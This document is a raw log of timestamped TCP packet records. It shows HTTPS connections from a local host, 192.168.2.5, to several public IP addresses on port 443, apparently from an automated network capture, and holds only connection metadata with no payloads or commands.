Nov 26, 2024 10:09:24.683830023 CET	49777	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.684055090 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.684098005 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.684231997 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.684391975 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.684413910 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.684465885 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:24.684500933 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.684523106 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:24.684593916 CET	443	49779	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.684650898 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:24.684659004 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:24.684719086 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:24.684729099 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.686499119 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.686499119 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.686595917 CET	49784	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.691385984 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.691400051 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.691464901 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.693854094 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.693901062 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.694020987 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.694257021 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.694264889 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.694320917 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.694897890 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.694897890 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.694962978 CET	49780	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.695444107 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.695460081 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.695616961 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.695749998 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.695756912 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.696187019 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.696218014 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.696219921 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.696650982 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.696667910 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.697328091 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.697339058 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.697460890 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.697472095 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.697526932 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.697535992 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.698138952 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.698147058 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.698367119 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.698381901 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.707709074 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:24.707722902 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:24.708359957 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:24.708610058 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:24.708620071 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:24.723359108 CET	443	49781	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.727345943 CET	443	49784	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.735332012 CET	443	49780	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.816193104 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.818371058 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.818443060 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.818463087 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.829900980 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.829969883 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.829978943 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.839657068 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.839739084 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.839746952 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.852591991 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.852668047 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.852675915 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.867944002 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.868016958 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.868029118 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.025171995 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.025302887 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.025338888 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.032896996 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.032932997 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.032991886 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.033018112 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033114910 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.033126116 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033566952 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033607960 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033643961 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033677101 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033741951 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.033755064 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.033837080 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.033857107 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.034960032 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:25.034995079 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:25.035165071 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:25.035470009 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:25.035490036 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:25.036138058 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.045749903 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.045922041 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.045941114 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.055633068 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.055707932 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.055716991 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.067358971 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.069602966 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.069610119 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.081815958 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.081878901 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.081892014 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.095563889 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.095626116 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.095634937 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.145447016 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.145534039 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.145553112 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.145581961 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.145627022 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.150404930 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.158916950 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.158984900 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.159008026 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.166816950 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.166891098 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.166913986 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.175714016 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.175766945 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.175789118 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.188535929 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.188635111 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.188658953 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.195550919 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.195607901 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.195627928 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.196366072 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.197916031 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.197932005 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.216319084 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.216381073 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.216408968 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.217838049 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.219297886 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.219305992 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.224309921 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.224358082 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.224364996 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.227500916 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.227557898 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.227565050 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.236140013 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.236373901 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.236382008 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.241154909 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.241216898 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.241225958 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.247020960 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.247064114 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.247071981 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.265408039 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.265553951 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.265563965 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.268738031 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.271307945 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.271325111 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.274642944 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.274701118 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.274708986 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.280704975 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.280772924 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.280798912 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.287781954 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.287897110 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.287926912 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.294492006 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.294547081 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.294568062 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.302463055 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.302534103 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.302556992 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.309989929 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.310075045 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.310105085 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.318299055 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.318360090 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.318370104 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.328969955 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.329062939 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.329088926 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.341803074 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.341856003 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.341867924 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.343456030 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.343513012 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.343521118 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.353133917 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.353295088 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.353307009 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.355164051 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.355217934 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.355230093 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.366117001 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.366183043 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.366190910 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.367211103 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.367257118 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.367476940 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.367754936 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.367768049 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.370019913 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.370075941 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.370081902 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.391957045 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.392188072 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.392262936 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.392270088 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.392374039 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.392997980 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.396210909 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.396286964 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.396292925 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.398226976 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.398358107 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.398452044 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.399288893 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:25.399306059 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:25.475188017 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.475238085 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.475474119 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.475658894 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.475668907 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.559106112 CET	443	49781	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.559221029 CET	443	49781	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.559299946 CET	49781	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.559343100 CET	49781	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.560242891 CET	443	49780	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.560308933 CET	49780	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.560419083 CET	443	49784	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.560549974 CET	443	49784	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.560561895 CET	49784	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.560591936 CET	49784	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.642457962 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.642504930 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.642570972 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.642800093 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.642812967 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.913218975 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.915286064 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.915327072 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.916452885 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.916537046 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.917840958 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.917926073 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.918061972 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.918071032 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.954304934 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.954515934 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.956449032 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.956479073 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.956562996 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.956592083 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.957561970 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.957653999 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.957709074 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.957766056 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.958853960 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.958957911 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.959280968 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.959377050 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.959743977 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.959758997 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.959789991 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.959805012 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.959976912 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.960309029 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.960341930 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.960361004 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.960587025 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.960597992 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.961412907 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.961467981 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.961632013 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.961683989 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.963145971 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.963213921 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.963464022 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.963532925 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:25.963978052 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:25.963988066 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:25.964020014 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:25.964027882 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.005830050 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.006418943 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.006442070 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.007455111 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.007512093 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.008215904 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.008277893 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.008543968 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.008552074 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.071152925 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.075126886 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.075160027 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.076111078 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.076126099 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.087373018 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.092406988 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.092434883 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.093450069 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.093455076 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.096879005 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.096926928 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.107337952 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.107897997 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.107935905 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.108346939 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.108355045 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.124988079 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.125001907 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.125008106 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.125009060 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.348124981 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.348198891 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.348295927 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.348524094 CET	49802	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.348543882 CET	443	49802	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.398782969 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.398886919 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.398945093 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.400171995 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.400235891 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.400305986 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.404640913 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.404706001 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.405385971 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.405447960 CET	49806	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.405457020 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.405493021 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.405663013 CET	49795	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.405688047 CET	443	49795	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.432190895 CET	49803	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.432212114 CET	443	49803	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.432539940 CET	49806	443	192.168.2.5	162.159.61.3
